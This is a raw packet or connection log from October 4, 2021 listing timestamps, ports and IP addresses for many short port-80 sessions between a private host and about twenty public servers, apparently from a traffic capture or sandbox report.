Oct 4, 2021 16:03:15.660264969 CEST	80	50103	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:15.660382032 CEST	50103	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:15.660698891 CEST	50103	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:15.660759926 CEST	50103	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:15.779793024 CEST	80	50103	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:15.819772005 CEST	80	50103	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:16.320521116 CEST	80	50103	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:16.320779085 CEST	80	50103	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:16.320980072 CEST	50103	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:17.431560040 CEST	50104	80	192.168.2.3	185.20.51.238
Oct 4, 2021 16:03:17.464190006 CEST	80	50104	185.20.51.238	192.168.2.3
Oct 4, 2021 16:03:17.464329004 CEST	50104	80	192.168.2.3	185.20.51.238
Oct 4, 2021 16:03:17.464735031 CEST	50104	80	192.168.2.3	185.20.51.238
Oct 4, 2021 16:03:17.464787006 CEST	50104	80	192.168.2.3	185.20.51.238
Oct 4, 2021 16:03:17.497157097 CEST	80	50104	185.20.51.238	192.168.2.3
Oct 4, 2021 16:03:17.536647081 CEST	80	50104	185.20.51.238	192.168.2.3
Oct 4, 2021 16:03:17.731144905 CEST	50105	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:17.744052887 CEST	80	50104	185.20.51.238	192.168.2.3
Oct 4, 2021 16:03:17.744085073 CEST	80	50104	185.20.51.238	192.168.2.3
Oct 4, 2021 16:03:17.744148970 CEST	50104	80	192.168.2.3	185.20.51.238
Oct 4, 2021 16:03:17.849224091 CEST	80	50105	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:17.849322081 CEST	50105	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:17.849497080 CEST	50105	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:17.849560022 CEST	50105	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:17.967601061 CEST	80	50105	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:18.007038116 CEST	80	50105	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:18.304214954 CEST	50106	80	192.168.2.3	103.50.162.157
Oct 4, 2021 16:03:18.442811012 CEST	80	50106	103.50.162.157	192.168.2.3
Oct 4, 2021 16:03:18.443053961 CEST	50106	80	192.168.2.3	103.50.162.157
Oct 4, 2021 16:03:18.443437099 CEST	50106	80	192.168.2.3	103.50.162.157
Oct 4, 2021 16:03:18.443562984 CEST	50106	80	192.168.2.3	103.50.162.157
Oct 4, 2021 16:03:18.573954105 CEST	80	50106	103.50.162.157	192.168.2.3
Oct 4, 2021 16:03:18.574937105 CEST	80	50106	103.50.162.157	192.168.2.3
Oct 4, 2021 16:03:18.574960947 CEST	80	50106	103.50.162.157	192.168.2.3
Oct 4, 2021 16:03:18.575042009 CEST	50106	80	192.168.2.3	103.50.162.157
Oct 4, 2021 16:03:18.883950949 CEST	50107	80	192.168.2.3	192.185.113.204
Oct 4, 2021 16:03:19.032963991 CEST	80	50107	192.185.113.204	192.168.2.3
Oct 4, 2021 16:03:19.033196926 CEST	50107	80	192.168.2.3	192.185.113.204
Oct 4, 2021 16:03:19.033397913 CEST	50107	80	192.168.2.3	192.185.113.204
Oct 4, 2021 16:03:19.033484936 CEST	50107	80	192.168.2.3	192.185.113.204
Oct 4, 2021 16:03:19.175930977 CEST	80	50107	192.185.113.204	192.168.2.3
Oct 4, 2021 16:03:19.176462889 CEST	80	50107	192.185.113.204	192.168.2.3
Oct 4, 2021 16:03:19.176491976 CEST	80	50107	192.185.113.204	192.168.2.3
Oct 4, 2021 16:03:19.181971073 CEST	50107	80	192.168.2.3	192.185.113.204
Oct 4, 2021 16:03:19.382658005 CEST	50108	80	192.168.2.3	51.222.139.54
Oct 4, 2021 16:03:19.485367060 CEST	80	50108	51.222.139.54	192.168.2.3
Oct 4, 2021 16:03:19.485722065 CEST	50108	80	192.168.2.3	51.222.139.54
Oct 4, 2021 16:03:19.485909939 CEST	50108	80	192.168.2.3	51.222.139.54
Oct 4, 2021 16:03:19.485979080 CEST	50108	80	192.168.2.3	51.222.139.54
Oct 4, 2021 16:03:19.594978094 CEST	80	50108	51.222.139.54	192.168.2.3
Oct 4, 2021 16:03:19.627060890 CEST	80	50108	51.222.139.54	192.168.2.3
Oct 4, 2021 16:03:19.715378046 CEST	80	50108	51.222.139.54	192.168.2.3
Oct 4, 2021 16:03:19.718991995 CEST	80	50108	51.222.139.54	192.168.2.3
Oct 4, 2021 16:03:19.719189882 CEST	50108	80	192.168.2.3	51.222.139.54
Oct 4, 2021 16:03:20.037362099 CEST	50109	80	192.168.2.3	192.185.46.34
Oct 4, 2021 16:03:20.177617073 CEST	80	50109	192.185.46.34	192.168.2.3
Oct 4, 2021 16:03:20.177727938 CEST	50109	80	192.168.2.3	192.185.46.34
Oct 4, 2021 16:03:20.177894115 CEST	50109	80	192.168.2.3	192.185.46.34
Oct 4, 2021 16:03:20.177947044 CEST	50109	80	192.168.2.3	192.185.46.34
Oct 4, 2021 16:03:20.318357944 CEST	80	50109	192.185.46.34	192.168.2.3
Oct 4, 2021 16:03:20.319153070 CEST	80	50109	192.185.46.34	192.168.2.3
Oct 4, 2021 16:03:20.319175959 CEST	80	50109	192.185.46.34	192.168.2.3
Oct 4, 2021 16:03:20.319267035 CEST	50109	80	192.168.2.3	192.185.46.34
Oct 4, 2021 16:03:20.513962030 CEST	50110	80	192.168.2.3	128.0.46.214
Oct 4, 2021 16:03:20.559047937 CEST	80	50110	128.0.46.214	192.168.2.3
Oct 4, 2021 16:03:20.559149981 CEST	50110	80	192.168.2.3	128.0.46.214
Oct 4, 2021 16:03:20.559312105 CEST	50110	80	192.168.2.3	128.0.46.214
Oct 4, 2021 16:03:20.559376001 CEST	50110	80	192.168.2.3	128.0.46.214
Oct 4, 2021 16:03:20.604484081 CEST	80	50110	128.0.46.214	192.168.2.3
Oct 4, 2021 16:03:20.644917965 CEST	80	50110	128.0.46.214	192.168.2.3
Oct 4, 2021 16:03:20.991024971 CEST	80	50110	128.0.46.214	192.168.2.3
Oct 4, 2021 16:03:20.991061926 CEST	80	50110	128.0.46.214	192.168.2.3
Oct 4, 2021 16:03:20.991988897 CEST	50110	80	192.168.2.3	128.0.46.214
Oct 4, 2021 16:03:21.258775949 CEST	50111	80	192.168.2.3	192.254.235.244
Oct 4, 2021 16:03:21.454806089 CEST	80	50111	192.254.235.244	192.168.2.3
Oct 4, 2021 16:03:21.454905987 CEST	50111	80	192.168.2.3	192.254.235.244
Oct 4, 2021 16:03:21.455049038 CEST	50111	80	192.168.2.3	192.254.235.244
Oct 4, 2021 16:03:21.455142975 CEST	50111	80	192.168.2.3	192.254.235.244
Oct 4, 2021 16:03:21.679311037 CEST	80	50111	192.254.235.244	192.168.2.3
Oct 4, 2021 16:03:21.679346085 CEST	80	50111	192.254.235.244	192.168.2.3
Oct 4, 2021 16:03:21.679366112 CEST	80	50111	192.254.235.244	192.168.2.3
Oct 4, 2021 16:03:21.679522991 CEST	50111	80	192.168.2.3	192.254.235.244
Oct 4, 2021 16:03:21.876374006 CEST	50112	80	192.168.2.3	166.62.10.34
Oct 4, 2021 16:03:22.071158886 CEST	80	50112	166.62.10.34	192.168.2.3
Oct 4, 2021 16:03:22.071379900 CEST	50112	80	192.168.2.3	166.62.10.34
Oct 4, 2021 16:03:22.071671963 CEST	50112	80	192.168.2.3	166.62.10.34
Oct 4, 2021 16:03:22.071775913 CEST	50112	80	192.168.2.3	166.62.10.34
Oct 4, 2021 16:03:22.251980066 CEST	80	50112	166.62.10.34	192.168.2.3
Oct 4, 2021 16:03:22.291321993 CEST	80	50112	166.62.10.34	192.168.2.3
Oct 4, 2021 16:03:22.683993101 CEST	80	50112	166.62.10.34	192.168.2.3
Oct 4, 2021 16:03:22.684026957 CEST	80	50112	166.62.10.34	192.168.2.3
Oct 4, 2021 16:03:22.684187889 CEST	50112	80	192.168.2.3	166.62.10.34
Oct 4, 2021 16:03:23.092601061 CEST	80	50105	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:23.092622995 CEST	80	50105	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:23.093456030 CEST	50105	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:23.115281105 CEST	50113	80	192.168.2.3	50.87.147.76
Oct 4, 2021 16:03:23.310144901 CEST	80	50113	50.87.147.76	192.168.2.3
Oct 4, 2021 16:03:23.310278893 CEST	50113	80	192.168.2.3	50.87.147.76
Oct 4, 2021 16:03:23.310513973 CEST	50113	80	192.168.2.3	50.87.147.76
Oct 4, 2021 16:03:23.310641050 CEST	50113	80	192.168.2.3	50.87.147.76
Oct 4, 2021 16:03:23.314939022 CEST	50114	80	192.168.2.3	185.20.51.238
Oct 4, 2021 16:03:23.347767115 CEST	80	50114	185.20.51.238	192.168.2.3
Oct 4, 2021 16:03:23.347995996 CEST	50114	80	192.168.2.3	185.20.51.238
Oct 4, 2021 16:03:23.348454952 CEST	50114	80	192.168.2.3	185.20.51.238
Oct 4, 2021 16:03:23.348507881 CEST	50114	80	192.168.2.3	185.20.51.238
Oct 4, 2021 16:03:23.381027937 CEST	80	50114	185.20.51.238	192.168.2.3
Oct 4, 2021 16:03:23.420629978 CEST	80	50114	185.20.51.238	192.168.2.3
Oct 4, 2021 16:03:23.509320021 CEST	80	50113	50.87.147.76	192.168.2.3
Oct 4, 2021 16:03:23.509350061 CEST	80	50113	50.87.147.76	192.168.2.3
Oct 4, 2021 16:03:23.509365082 CEST	80	50113	50.87.147.76	192.168.2.3
Oct 4, 2021 16:03:23.509541035 CEST	50113	80	192.168.2.3	50.87.147.76
Oct 4, 2021 16:03:23.621023893 CEST	80	50114	185.20.51.238	192.168.2.3
Oct 4, 2021 16:03:23.621090889 CEST	80	50114	185.20.51.238	192.168.2.3
Oct 4, 2021 16:03:23.621237993 CEST	50114	80	192.168.2.3	185.20.51.238
Oct 4, 2021 16:03:23.822513103 CEST	50115	80	192.168.2.3	184.168.102.202
Oct 4, 2021 16:03:23.989684105 CEST	80	50115	184.168.102.202	192.168.2.3
Oct 4, 2021 16:03:23.990422964 CEST	50115	80	192.168.2.3	184.168.102.202
Oct 4, 2021 16:03:23.990468979 CEST	50115	80	192.168.2.3	184.168.102.202
Oct 4, 2021 16:03:23.991868019 CEST	50115	80	192.168.2.3	184.168.102.202
Oct 4, 2021 16:03:24.164813042 CEST	80	50115	184.168.102.202	192.168.2.3
Oct 4, 2021 16:03:24.194940090 CEST	80	50115	184.168.102.202	192.168.2.3
Oct 4, 2021 16:03:24.579106092 CEST	80	50115	184.168.102.202	192.168.2.3
Oct 4, 2021 16:03:24.579164028 CEST	80	50115	184.168.102.202	192.168.2.3
Oct 4, 2021 16:03:24.580476046 CEST	50115	80	192.168.2.3	184.168.102.202
Oct 4, 2021 16:03:24.839513063 CEST	50116	80	192.168.2.3	103.50.162.157
Oct 4, 2021 16:03:24.971995115 CEST	80	50116	103.50.162.157	192.168.2.3
Oct 4, 2021 16:03:24.972137928 CEST	50116	80	192.168.2.3	103.50.162.157
Oct 4, 2021 16:03:24.972455978 CEST	50116	80	192.168.2.3	103.50.162.157
Oct 4, 2021 16:03:24.972600937 CEST	50116	80	192.168.2.3	103.50.162.157
Oct 4, 2021 16:03:25.015969038 CEST	50117	80	192.168.2.3	67.227.144.24
Oct 4, 2021 16:03:25.102782011 CEST	80	50116	103.50.162.157	192.168.2.3
Oct 4, 2021 16:03:25.108347893 CEST	80	50116	103.50.162.157	192.168.2.3
Oct 4, 2021 16:03:25.108993053 CEST	80	50116	103.50.162.157	192.168.2.3
Oct 4, 2021 16:03:25.109122992 CEST	50116	80	192.168.2.3	103.50.162.157
Oct 4, 2021 16:03:25.175329924 CEST	80	50117	67.227.144.24	192.168.2.3
Oct 4, 2021 16:03:25.175437927 CEST	50117	80	192.168.2.3	67.227.144.24
Oct 4, 2021 16:03:25.175767899 CEST	50117	80	192.168.2.3	67.227.144.24
Oct 4, 2021 16:03:25.175898075 CEST	50117	80	192.168.2.3	67.227.144.24
Oct 4, 2021 16:03:25.314727068 CEST	50118	80	192.168.2.3	192.185.113.204
Oct 4, 2021 16:03:25.334830999 CEST	80	50117	67.227.144.24	192.168.2.3
Oct 4, 2021 16:03:25.374393940 CEST	80	50117	67.227.144.24	192.168.2.3
Oct 4, 2021 16:03:25.445380926 CEST	80	50117	67.227.144.24	192.168.2.3
Oct 4, 2021 16:03:25.445410013 CEST	80	50117	67.227.144.24	192.168.2.3
Oct 4, 2021 16:03:25.445493937 CEST	50117	80	192.168.2.3	67.227.144.24
Oct 4, 2021 16:03:25.456325054 CEST	80	50118	192.185.113.204	192.168.2.3
Oct 4, 2021 16:03:25.456444025 CEST	50118	80	192.168.2.3	192.185.113.204
Oct 4, 2021 16:03:25.456592083 CEST	50118	80	192.168.2.3	192.185.113.204
Oct 4, 2021 16:03:25.456675053 CEST	50118	80	192.168.2.3	192.185.113.204
Oct 4, 2021 16:03:25.603604078 CEST	80	50118	192.185.113.204	192.168.2.3
Oct 4, 2021 16:03:25.631942034 CEST	80	50118	192.185.113.204	192.168.2.3
Oct 4, 2021 16:03:25.631963968 CEST	80	50118	192.185.113.204	192.168.2.3
Oct 4, 2021 16:03:25.632062912 CEST	50118	80	192.168.2.3	192.185.113.204
Oct 4, 2021 16:03:25.645315886 CEST	50119	80	192.168.2.3	185.146.22.232
Oct 4, 2021 16:03:25.675909996 CEST	80	50119	185.146.22.232	192.168.2.3
Oct 4, 2021 16:03:25.676019907 CEST	50119	80	192.168.2.3	185.146.22.232
Oct 4, 2021 16:03:25.676162958 CEST	50119	80	192.168.2.3	185.146.22.232
Oct 4, 2021 16:03:25.676208019 CEST	50119	80	192.168.2.3	185.146.22.232
Oct 4, 2021 16:03:25.705440044 CEST	80	50119	185.146.22.232	192.168.2.3
Oct 4, 2021 16:03:25.745495081 CEST	80	50119	185.146.22.232	192.168.2.3
Oct 4, 2021 16:03:25.883605957 CEST	50120	80	192.168.2.3	51.222.139.54
Oct 4, 2021 16:03:25.989583015 CEST	80	50120	51.222.139.54	192.168.2.3
Oct 4, 2021 16:03:25.989765882 CEST	50120	80	192.168.2.3	51.222.139.54
Oct 4, 2021 16:03:25.989922047 CEST	50120	80	192.168.2.3	51.222.139.54
Oct 4, 2021 16:03:25.989996910 CEST	50120	80	192.168.2.3	51.222.139.54
Oct 4, 2021 16:03:26.069046974 CEST	80	50119	185.146.22.232	192.168.2.3
Oct 4, 2021 16:03:26.069108963 CEST	80	50119	185.146.22.232	192.168.2.3
Oct 4, 2021 16:03:26.069216967 CEST	50119	80	192.168.2.3	185.146.22.232
Oct 4, 2021 16:03:26.095659018 CEST	80	50120	51.222.139.54	192.168.2.3
Oct 4, 2021 16:03:26.135960102 CEST	80	50120	51.222.139.54	192.168.2.3
Oct 4, 2021 16:03:26.219330072 CEST	80	50120	51.222.139.54	192.168.2.3
Oct 4, 2021 16:03:26.225279093 CEST	80	50120	51.222.139.54	192.168.2.3
Oct 4, 2021 16:03:26.225538015 CEST	50120	80	192.168.2.3	51.222.139.54
Oct 4, 2021 16:03:26.281025887 CEST	50121	80	192.168.2.3	185.58.73.28
Oct 4, 2021 16:03:26.328671932 CEST	80	50121	185.58.73.28	192.168.2.3
Oct 4, 2021 16:03:26.329919100 CEST	50121	80	192.168.2.3	185.58.73.28
Oct 4, 2021 16:03:26.330248117 CEST	50121	80	192.168.2.3	185.58.73.28
Oct 4, 2021 16:03:26.330507994 CEST	50121	80	192.168.2.3	185.58.73.28
Oct 4, 2021 16:03:26.374953985 CEST	80	50121	185.58.73.28	192.168.2.3
Oct 4, 2021 16:03:26.414372921 CEST	80	50121	185.58.73.28	192.168.2.3
Oct 4, 2021 16:03:26.723398924 CEST	80	50121	185.58.73.28	192.168.2.3
Oct 4, 2021 16:03:26.723439932 CEST	80	50121	185.58.73.28	192.168.2.3
Oct 4, 2021 16:03:26.723763943 CEST	50121	80	192.168.2.3	185.58.73.28
Oct 4, 2021 16:03:26.833794117 CEST	50123	80	192.168.2.3	192.185.46.34
Oct 4, 2021 16:03:26.976320028 CEST	80	50123	192.185.46.34	192.168.2.3
Oct 4, 2021 16:03:26.976723909 CEST	50123	80	192.168.2.3	192.185.46.34
Oct 4, 2021 16:03:26.976871014 CEST	50123	80	192.168.2.3	192.185.46.34
Oct 4, 2021 16:03:26.977015972 CEST	50123	80	192.168.2.3	192.185.46.34
Oct 4, 2021 16:03:27.117933989 CEST	80	50123	192.185.46.34	192.168.2.3
Oct 4, 2021 16:03:27.118366957 CEST	80	50123	192.185.46.34	192.168.2.3
Oct 4, 2021 16:03:27.118385077 CEST	80	50123	192.185.46.34	192.168.2.3
Oct 4, 2021 16:03:27.118488073 CEST	50123	80	192.168.2.3	192.185.46.34
Oct 4, 2021 16:03:27.330858946 CEST	50124	80	192.168.2.3	103.125.80.58
Oct 4, 2021 16:03:27.527335882 CEST	80	50124	103.125.80.58	192.168.2.3
Oct 4, 2021 16:03:27.527682066 CEST	50124	80	192.168.2.3	103.125.80.58
Oct 4, 2021 16:03:27.528229952 CEST	50124	80	192.168.2.3	103.125.80.58
Oct 4, 2021 16:03:27.528295040 CEST	50124	80	192.168.2.3	103.125.80.58
Oct 4, 2021 16:03:27.563484907 CEST	50125	80	192.168.2.3	192.254.235.244
Oct 4, 2021 16:03:27.722939014 CEST	80	50124	103.125.80.58	192.168.2.3
Oct 4, 2021 16:03:27.759634972 CEST	80	50125	192.254.235.244	192.168.2.3
Oct 4, 2021 16:03:27.761785030 CEST	50125	80	192.168.2.3	192.254.235.244
Oct 4, 2021 16:03:27.762244940 CEST	50125	80	192.168.2.3	192.254.235.244
Oct 4, 2021 16:03:27.762322903 CEST	50125	80	192.168.2.3	192.254.235.244
Oct 4, 2021 16:03:27.767219067 CEST	80	50124	103.125.80.58	192.168.2.3
Oct 4, 2021 16:03:27.963768959 CEST	80	50125	192.254.235.244	192.168.2.3
Oct 4, 2021 16:03:27.963845015 CEST	80	50125	192.254.235.244	192.168.2.3
Oct 4, 2021 16:03:27.963865042 CEST	80	50125	192.254.235.244	192.168.2.3
Oct 4, 2021 16:03:27.964010000 CEST	50125	80	192.168.2.3	192.254.235.244
Oct 4, 2021 16:03:28.213023901 CEST	50126	80	192.168.2.3	166.62.10.34
Oct 4, 2021 16:03:28.251718044 CEST	80	50124	103.125.80.58	192.168.2.3
Oct 4, 2021 16:03:28.251758099 CEST	80	50124	103.125.80.58	192.168.2.3
Oct 4, 2021 16:03:28.251852989 CEST	50124	80	192.168.2.3	103.125.80.58
Oct 4, 2021 16:03:28.391568899 CEST	80	50126	166.62.10.34	192.168.2.3
Oct 4, 2021 16:03:28.391727924 CEST	50126	80	192.168.2.3	166.62.10.34
Oct 4, 2021 16:03:28.391904116 CEST	50126	80	192.168.2.3	166.62.10.34
Oct 4, 2021 16:03:28.391968012 CEST	50126	80	192.168.2.3	166.62.10.34
Oct 4, 2021 16:03:28.554455996 CEST	50127	80	192.168.2.3	165.227.90.171
Oct 4, 2021 16:03:28.567722082 CEST	80	50126	166.62.10.34	192.168.2.3
Oct 4, 2021 16:03:28.607944965 CEST	80	50126	166.62.10.34	192.168.2.3
Oct 4, 2021 16:03:28.650415897 CEST	80	50127	165.227.90.171	192.168.2.3
Oct 4, 2021 16:03:28.650610924 CEST	50127	80	192.168.2.3	165.227.90.171
Oct 4, 2021 16:03:28.651227951 CEST	50127	80	192.168.2.3	165.227.90.171
Oct 4, 2021 16:03:28.651681900 CEST	50127	80	192.168.2.3	165.227.90.171
Oct 4, 2021 16:03:28.746470928 CEST	80	50127	165.227.90.171	192.168.2.3
Oct 4, 2021 16:03:28.753164053 CEST	80	50127	165.227.90.171	192.168.2.3
Oct 4, 2021 16:03:28.754110098 CEST	50127	80	192.168.2.3	165.227.90.171
Oct 4, 2021 16:03:29.006699085 CEST	80	50126	166.62.10.34	192.168.2.3
Oct 4, 2021 16:03:29.006719112 CEST	80	50126	166.62.10.34	192.168.2.3
Oct 4, 2021 16:03:29.006808043 CEST	50126	80	192.168.2.3	166.62.10.34
Oct 4, 2021 16:03:29.174631119 CEST	50128	80	192.168.2.3	199.193.116.170
Oct 4, 2021 16:03:29.315902948 CEST	80	50128	199.193.116.170	192.168.2.3
Oct 4, 2021 16:03:29.316073895 CEST	50128	80	192.168.2.3	199.193.116.170
Oct 4, 2021 16:03:29.316425085 CEST	50128	80	192.168.2.3	199.193.116.170
Oct 4, 2021 16:03:29.316555977 CEST	50128	80	192.168.2.3	199.193.116.170
Oct 4, 2021 16:03:29.404882908 CEST	50129	80	192.168.2.3	50.87.147.76
Oct 4, 2021 16:03:29.459891081 CEST	80	50128	199.193.116.170	192.168.2.3
Oct 4, 2021 16:03:29.497335911 CEST	80	50128	199.193.116.170	192.168.2.3
Oct 4, 2021 16:03:29.553647995 CEST	80	50128	199.193.116.170	192.168.2.3
Oct 4, 2021 16:03:29.554874897 CEST	80	50128	199.193.116.170	192.168.2.3
Oct 4, 2021 16:03:29.555037022 CEST	50128	80	192.168.2.3	199.193.116.170
Oct 4, 2021 16:03:29.599179983 CEST	80	50129	50.87.147.76	192.168.2.3
Oct 4, 2021 16:03:29.599426031 CEST	50129	80	192.168.2.3	50.87.147.76
Oct 4, 2021 16:03:29.599621058 CEST	50129	80	192.168.2.3	50.87.147.76
Oct 4, 2021 16:03:29.599692106 CEST	50129	80	192.168.2.3	50.87.147.76
Oct 4, 2021 16:03:29.786010027 CEST	50130	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:29.793716908 CEST	80	50129	50.87.147.76	192.168.2.3
Oct 4, 2021 16:03:29.793736935 CEST	80	50129	50.87.147.76	192.168.2.3
Oct 4, 2021 16:03:29.793744087 CEST	80	50129	50.87.147.76	192.168.2.3
Oct 4, 2021 16:03:29.795269966 CEST	50129	80	192.168.2.3	50.87.147.76
Oct 4, 2021 16:03:29.944128990 CEST	80	50130	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:29.944289923 CEST	50130	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:29.944453955 CEST	50130	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:29.944540977 CEST	50130	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:30.042196989 CEST	50131	80	192.168.2.3	184.168.102.202
Oct 4, 2021 16:03:30.101744890 CEST	80	50130	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:30.140157938 CEST	80	50130	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:30.217096090 CEST	80	50131	184.168.102.202	192.168.2.3
Oct 4, 2021 16:03:30.217343092 CEST	50131	80	192.168.2.3	184.168.102.202
Oct 4, 2021 16:03:30.217658043 CEST	50131	80	192.168.2.3	184.168.102.202
Oct 4, 2021 16:03:30.217788935 CEST	50131	80	192.168.2.3	184.168.102.202
Oct 4, 2021 16:03:30.389811039 CEST	80	50131	184.168.102.202	192.168.2.3
Oct 4, 2021 16:03:30.426837921 CEST	80	50130	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:30.426868916 CEST	80	50130	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:30.428101063 CEST	50130	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:30.435519934 CEST	80	50131	184.168.102.202	192.168.2.3
Oct 4, 2021 16:03:30.656605959 CEST	50132	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:30.814255953 CEST	80	50132	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:30.814435005 CEST	50132	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:30.814699888 CEST	50132	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:30.814814091 CEST	50132	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:30.823342085 CEST	80	50131	184.168.102.202	192.168.2.3
Oct 4, 2021 16:03:30.823365927 CEST	80	50131	184.168.102.202	192.168.2.3
Oct 4, 2021 16:03:30.823523998 CEST	50131	80	192.168.2.3	184.168.102.202
Oct 4, 2021 16:03:30.971076012 CEST	80	50132	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:31.011652946 CEST	80	50132	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:31.150224924 CEST	50133	80	192.168.2.3	67.227.144.24
Oct 4, 2021 16:03:31.303275108 CEST	80	50132	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:31.303303003 CEST	80	50132	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:31.303457975 CEST	50132	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:31.307229042 CEST	80	50133	67.227.144.24	192.168.2.3
Oct 4, 2021 16:03:31.307482004 CEST	50133	80	192.168.2.3	67.227.144.24
Oct 4, 2021 16:03:31.307964087 CEST	50133	80	192.168.2.3	67.227.144.24
Oct 4, 2021 16:03:31.308212042 CEST	50133	80	192.168.2.3	67.227.144.24
Oct 4, 2021 16:03:31.465034008 CEST	80	50133	67.227.144.24	192.168.2.3
Oct 4, 2021 16:03:31.504021883 CEST	80	50133	67.227.144.24	192.168.2.3
Oct 4, 2021 16:03:31.552741051 CEST	50134	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:31.568841934 CEST	80	50133	67.227.144.24	192.168.2.3
Oct 4, 2021 16:03:31.568860054 CEST	80	50133	67.227.144.24	192.168.2.3
Oct 4, 2021 16:03:31.568953037 CEST	50133	80	192.168.2.3	67.227.144.24
Oct 4, 2021 16:03:31.710000992 CEST	80	50134	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:31.710125923 CEST	50134	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:31.710266113 CEST	50134	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:31.710320950 CEST	50134	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:31.802779913 CEST	50135	80	192.168.2.3	185.146.22.232
Oct 4, 2021 16:03:31.831157923 CEST	80	50135	185.146.22.232	192.168.2.3
Oct 4, 2021 16:03:31.831315994 CEST	50135	80	192.168.2.3	185.146.22.232
Oct 4, 2021 16:03:31.831480980 CEST	50135	80	192.168.2.3	185.146.22.232
Oct 4, 2021 16:03:31.831567049 CEST	50135	80	192.168.2.3	185.146.22.232
Oct 4, 2021 16:03:31.859196901 CEST	80	50135	185.146.22.232	192.168.2.3
Oct 4, 2021 16:03:31.866369963 CEST	80	50134	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:31.899197102 CEST	80	50135	185.146.22.232	192.168.2.3
Oct 4, 2021 16:03:31.906133890 CEST	80	50134	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:32.195822001 CEST	80	50134	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:32.199055910 CEST	80	50134	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:32.199163914 CEST	50134	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:32.202469110 CEST	80	50135	185.146.22.232	192.168.2.3
Oct 4, 2021 16:03:32.202569962 CEST	80	50135	185.146.22.232	192.168.2.3
Oct 4, 2021 16:03:32.202624083 CEST	50135	80	192.168.2.3	185.146.22.232
Oct 4, 2021 16:03:32.469222069 CEST	50136	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:32.496476889 CEST	50137	80	192.168.2.3	185.58.73.28
Oct 4, 2021 16:03:32.543068886 CEST	80	50137	185.58.73.28	192.168.2.3
Oct 4, 2021 16:03:32.543282986 CEST	50137	80	192.168.2.3	185.58.73.28
Oct 4, 2021 16:03:32.543519020 CEST	50137	80	192.168.2.3	185.58.73.28
Oct 4, 2021 16:03:32.543545008 CEST	50137	80	192.168.2.3	185.58.73.28
Oct 4, 2021 16:03:32.589673042 CEST	80	50137	185.58.73.28	192.168.2.3
Oct 4, 2021 16:03:32.629010916 CEST	80	50137	185.58.73.28	192.168.2.3
Oct 4, 2021 16:03:32.635056019 CEST	80	50136	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:32.635296106 CEST	50136	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:32.635482073 CEST	50136	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:32.635548115 CEST	50136	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:32.795089960 CEST	80	50136	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:32.835957050 CEST	80	50136	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:32.864415884 CEST	80	50137	185.58.73.28	192.168.2.3
Oct 4, 2021 16:03:32.864454031 CEST	80	50137	185.58.73.28	192.168.2.3
Oct 4, 2021 16:03:32.866590023 CEST	50137	80	192.168.2.3	185.58.73.28
Oct 4, 2021 16:03:33.179266930 CEST	80	50136	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:33.179296017 CEST	80	50136	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:33.179475069 CEST	50136	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:33.401057005 CEST	50138	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:33.499517918 CEST	50139	80	192.168.2.3	103.125.80.58
Oct 4, 2021 16:03:33.518361092 CEST	80	50138	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:33.518574953 CEST	50138	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:33.518738031 CEST	50138	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:33.518800974 CEST	50138	80	192.168.2.3	198.38.82.168
